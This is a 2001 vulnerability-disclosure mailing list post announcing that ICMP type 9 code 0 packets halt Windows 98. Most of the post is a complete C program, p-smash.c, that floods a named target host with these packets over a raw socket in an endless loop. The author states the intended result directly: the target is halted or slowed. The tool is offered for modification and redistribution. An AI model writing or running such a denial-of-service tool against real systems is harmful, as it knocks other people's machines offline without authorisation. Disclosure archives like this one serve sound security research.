Vulnerability Development mailing list archives

p-smash halts Microsoft Windows 98


From: Paulo Ribeiro <prrar () NITNET COM BR>
Date: Mon, 5 Feb 2001 21:47:29 -0200

Hello, everyone.

I've been sending different ICMP types and codes to a Win98 machine in
my LAN. While I've sent the ICMP type 9 code 0, the Win98 machine simply
halted.

So, I've made a program (p-smash.c, which is attached) and I'm sending
it for you.

Please, remember that I've only tested it on my LAN.

Yours,
Paulo Ribeiro - prrar () nitnet com br
/*
 * p-smash.c
 *
 * Author:
 *      Paulo Ribeiro <prrar () nitnet com br>
 *      Rio de Janeiro, RJ, Brazil - January, 2001
 *
 * Results:
 *      While running this program, the target system will be halted or
 *      will get too slow.
 *
 * Message from ipchains:
 *      Jan 26 17:42:22 host kernel: Packet log: input ACCEPT eth0 PROTO=1
 *      192.168.0.2:9 192.168.0.1:0 L=84 S=0x00 I=33619 F=0x0000 T=64 (#5)
 *
 * Systems affected:
 *      Microsoft Windows 95 - slows down
 *      Microsoft Windows 98 - halts
 *      Any other?
 *
 * Why:
 *      Seems that Microsoft Windows 98 can't handle with a ICMP packet with
 *      type 9 and code 0.
 *
 * Yes, you can modify and redistribute this program, but keep my name on it.
 */

#include <errno.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/file.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/in_systm.h>

#define MAXPACKET       4096

int s;
int ident;

struct sockaddr whereto;

void send_pkt(int argc, char *argv[]);

int main(int argc, char *argv[])
{
        char *hostname;
        char *inet_ntoa();
        char *toaddr = NULL;
        char hnamebuf[MAXHOSTNAMELEN];

        struct sockaddr_in *to = (struct sockaddr_in *) &whereto;
        struct hostent *hp;
        struct protoent *proto;
        
        if (argc != 2)
        {
                fprintf(stderr,"Usage: %s <hostname>\n", argv[0]);
                exit(1);
        }

        bzero((char *)&whereto, sizeof(struct sockaddr));
        to->sin_family = AF_INET;
        to->sin_addr.s_addr = inet_addr(argv[1]);
        if (to->sin_addr.s_addr != -1)
        {
                strcpy(hnamebuf, argv[1]);
                hostname = hnamebuf;
        }
        else
        {
                hp = gethostbyname(argv[1]);
                if (hp)
                {
                        to->sin_family = hp->h_addrtype;
                        bcopy(hp->h_addr, (caddr_t)&to->sin_addr, hp->h_length);
                        hostname = hp->h_name;
                        toaddr = inet_ntoa(to->sin_addr.s_addr);
                }
                else
                {
                        printf("p-smash: unknown host %s\n", argv[1]);
                        exit(1);
                }
        }

        ident = getpid() & 0xFFFF;

        if ((proto = getprotobyname("icmp")) == NULL)
        {
                fprintf(stderr, "p-smash: icmp: unknown protocol\n");
                exit(1);
        }
        if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
        {
                perror("p-smash: socket");
                exit(1);
        }

        setlinebuf(stdout);

        printf("Sending packets to %s... ", hostname);
        fflush(stdout);

        for (;;)
                send_pkt(argc, argv);

        exit(0);
}

void send_pkt(int argc, char *argv[])
{
        static unsigned char outpack[MAXPACKET];
        struct icmp *icp = (struct icmp *) outpack;

        int ntransmitted = 0;

        icp->icmp_type = 9;     // here
        icp->icmp_code = 0;     // it is
        icp->icmp_seq = ntransmitted++;
        icp->icmp_id = ident;
        icp->icmp_cksum = in_cksum(icp, 64);

        sendto(s, outpack, 64, 0, &whereto, sizeof(struct sockaddr));
}

in_cksum(unsigned short *addr, int len)
{
        register int nleft = len;
        register unsigned short *w = addr;
        register unsigned short answer;
        register int sum = 0;
        unsigned short odd_byte = 0;

        while (nleft > 1)
        {
                sum += *w++;
                nleft -= 2;
        }

        if (nleft == 1)
        {
                *(unsigned char *)(&odd_byte) = *(unsigned char *)w;
                sum += odd_byte;
        }

        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        answer = ~sum;

        return(answer);
}

/*
 * p-smash.c: EOF
 */



Current thread: